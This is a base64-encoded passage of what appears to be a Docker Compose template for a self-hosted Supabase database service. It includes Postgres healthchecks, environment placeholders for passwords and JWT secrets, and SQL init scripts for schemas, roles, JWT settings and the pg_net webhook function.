BhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbm